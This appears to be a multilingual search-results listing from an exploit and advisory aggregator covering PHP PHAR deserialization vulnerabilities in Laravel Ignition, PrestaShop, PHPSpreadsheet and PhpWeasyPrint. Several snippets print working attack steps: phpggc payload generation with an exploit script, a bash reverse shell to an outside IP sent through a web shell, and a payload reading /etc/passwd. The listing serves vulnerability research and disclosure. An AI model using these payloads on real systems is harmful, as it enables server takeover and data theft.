391 matches found
LKWA
LKWA Lesser Known Web Attack Lab은 중급 펜테스터가 Object Injection, XSSI, PHAR 역직렬화, variables variable 등과 같은 잘 알려지지 않은 웹 공격을 테스트하고 연습할 수 있는 도구입니다. Write-up을 환영합니다. 제 walk-through는 여기에 있습니다. 설치 - 로컬 git clone https://github.com/weev3/LKWA 명령어로 클론한 후 웹 서버로 이동시키면 됩니다. XSSI 챌린지의 경우 apache2.conf 파일에서 Allow...
laravel-exploits
laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...
laravel-exploits
laravel-exploits CVE-2021-3129용 익스플로잇 상세: https://www.ambionics.io/blog/laravel-debug-rce 사용법 $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...
PrestaShop-CVE-2018-19126
PrestaShop 백 오피스 원격 코드 실행 CVE-2018-19126 이것은 CVE-2018-19126에 대한 PoC로, PrestaShop 백 오피스의 여러 취약점을 연쇄적으로 연결하여 phar를 통한 역직렬화를 유발하고 원격 코드 실행을 달성합니다. 전제 조건: PrestaShop 1.6.x 1.6.1.23 미만 또는 1.7.x 1.7.4.4 미만. 백 오피스 계정 물류 담당자, 번역가, 판매원 등. PrestaShop 릴리스 노트:...
cve-2023-3824
sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip pass:...
CVE-2021-3129
CVE-2021-3129 Laravel RCE CVE-2021-3129 취약점 개요 Laravel에서 Debug 모드가 활성화된 경우, Laravel에 포함된 Ignition 구성 요소가 filegetcontents 및 fileputcontents 함수를 안전하지 않게 사용하여 공격자가 악의적인 요청을 보내고 악성 Log 파일을 구성하는 등의 방식으로 Phar 역직렬화를 트리거할 수 있으며, 궁극적으로 원격 코드 실행으로 이어집니다. 영향받는 버전 Laravel = 8.4.2 취약점 확인 500 응답이 반환되면 취약점이 존재함...
CVE-2026-45034
🧨 PHPSpreadsheet Phar 역직렬화 익스플로잇 prohibitWrappers 우회 + phpoffice/phpspreadsheet 원격 코드 실행 RCE 이 저장소는 널리 사용되는 PHP 라이브러리 PHPSpreadsheet 의 치명적인 취약점에 대한 개념 증명PoC 익스플로잇 을 제공합니다. 공격은 phar:// 래퍼 를 악용하여 객체 역직렬화를 유발하고, 보안 보호 기능을 우회하고 취약한 버전에서 완전한 원격 코드 실행 까지 이어질 수 있습니다. ⚡ 취약점 개요 버전| 상태| 설명 ---|---|--- 5.7....
PoC-for-CVE-2020-28948-CVE-2020-28949
CVE-2020-28948 및 CVE-2020-28949를 위한 POC 여기 있는 파일들은 원격 익스플로잇을 달성하기 위한 CVE-2020-28948 및 CVE-2020-28949에 대한 PoC를 포함합니다. 서버 서버 폴더에는 취약한 ArchiveTar 라이브러리를 사용하는 간단한 업로드 서버가 있으며, server/Archive에 위치해 있습니다. 서버는 사용자로부터 Tar 아카이브를 받아 server/uploads/ 폴더에 추출하고 저장합니다. 취약한 라이브러리로 서버를 시작하려면: cd server make build...
CVE-2021-3129
CVE-2021-3129 Laravel Ignition RCE 익스플로잇 이것은 Laravel에 Ignition 패키지가 설치된 경우 발생하는 원격 코드 실행 취약점CVE-2021-3129을 위한 Python 익스플로잇 스크립트입니다. 이 취약점을 통해 공격자는 PHAR 역직렬화를 통해 임의의 시스템 명령을 실행할 수 있습니다. 기능 phpggc를 사용하여 PHAR 페이로드를 자동으로 생성 실행할 명령어예: id, whoami 등를 사용자 입력으로 받음 로그 지우기, 페이로드 주입, 로그를 PHAR로 변환, 역직렬화 트리거 등...
CVE-2021-3129
CVE-2021-3129 — Laravel Ignition リモートコード実行 CVSS 9.8(Critical) | 安全でないファイル操作 → ログポイズニング → Phar デシリアライゼーション → RCE 概要 Laravel Ignition -c "whoami" 参考 NVD — CVE-2021-3129 Ignition Patch 2.5.2...
CVE-2021-3129
CVE-2021-3129 사용자 지정 명령의 phar 패키지 생성: php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0 php -a PHP 명령줄 환경에 진입 $fp = fopen'php://output', 'w'; streamfilterappend$fp, 'convert.quoted-printable-encode'; $size = ""; fwrite$fp,...
CVE-2024-55187
요약 민감한 관리 매개변수가 충분히 정화되지 않아, 공격자가 시스템 바이너리 경로를 오염시킬 수 있습니다. 그러면 공격자는 위험한 CSV 파일을 업로드할 수 있으며, 이 파일은 PHP의 exec 호출에 의해 평가될 셸 메타문자를 포함한 PHAR 아카이브로 취급되어 원격 코드 실행RCE을 초래할 수 있습니다. 영향 서버 장악 서비스 거부 데이터 손실 CVSS 점수 심각 - 9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 세부 사항 파일...
October CMS: Incomplete Scheme Validation in Image Resizer
The image resizer classified external sources by testing whether the source string began with the substring http, and the string-source branch in ResizeImageItem::fromObject accepted any value containing :// as a URL. As a result, non-https PHP stream wrappers such as phar://, file:// and ftp://...
GHSA-2XMM-M4WV-3FJH October CMS: Incomplete Scheme Validation in Image Resizer
The image resizer classified external sources by testing whether the source string began with the substring http, and the string-source branch in ResizeImageItem::fromObject accepted any value containing :// as a URL. As a result, non-https PHP stream wrappers such as phar://, file:// and ftp://...
Exploit for CVE-2021-3129
CVE-2021-3129 — Laravel Ignition Remote Code Execution CVSS...
📄 PHPSpreadsheet 5.8.0 Remote Code Execution
PHPSpreadsheet version 5.8.0 suffers from a phar deserialization remote code execution vulnerability. ================================================================================================================================== | Title : PHPSpreadsheet 5.8.0 Phar Deserialization RCE | | Auth...
PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)
Summary pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist: php if 0 === \strpos$filename, 'phar://' throw new \InvalidArgumentException'The output file cannot be a phar archive.'; PHP stream wrappers are case-insensitive, so...
GHSA-2FMJ-P74R-3WJM PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)
Summary pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist: php if 0 === \strpos$filename, 'phar://' throw new \InvalidArgumentException'The output file cannot be a phar archive.'; PHP stream wrappers are case-insensitive, so...
CVE-2026-49286 PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)
PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so PHAR://, Phar://, etc...
CVE-2026-49286
CVE-2026-49286 - PhpWeasyPrint : The library (prior to 2.6.0) guards the output filename against the phar:// stream wrapper with a case-sensitive blacklist. Because PHP stream wrappers are case-insensitive, inputs like PHAR://, Phar:// bypass the check and reach fileExists() in prepareOutput(), a...